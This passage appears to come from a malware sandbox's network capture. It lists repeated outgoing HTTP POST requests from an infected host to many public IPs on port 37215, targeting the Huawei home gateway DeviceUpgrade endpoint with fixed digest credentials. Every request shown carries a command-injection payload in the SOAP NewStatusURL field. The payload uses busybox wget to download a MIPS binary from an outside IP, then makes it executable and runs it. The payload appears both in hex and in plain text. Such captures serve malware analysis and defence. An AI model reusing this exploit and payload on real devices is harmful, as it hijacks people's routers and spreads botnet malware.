/t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
639	192.168.2.13	46310	41.252.62.74	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.493155003 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
640	192.168.2.13	35882	197.129.137.220	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.494045019 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
641	192.168.2.13	39212	41.246.40.161	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.494522095 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
642	192.168.2.13	51876	156.66.48.9	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.495196104 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
643	192.168.2.13	54566	156.84.42.33	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.495899916 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
644	192.168.2.13	44582	197.62.0.215	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.496644974 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
645	192.168.2.13	58434	197.149.87.73	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.497343063 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
646	192.168.2.13	49488	156.64.75.27	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.498090982 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
647	192.168.2.13	47358	197.25.178.38	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.498785973 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
648	192.168.2.13	51642	41.186.51.90	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.499468088 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
649	192.168.2.13	43270	156.241.169.48	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.500161886 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 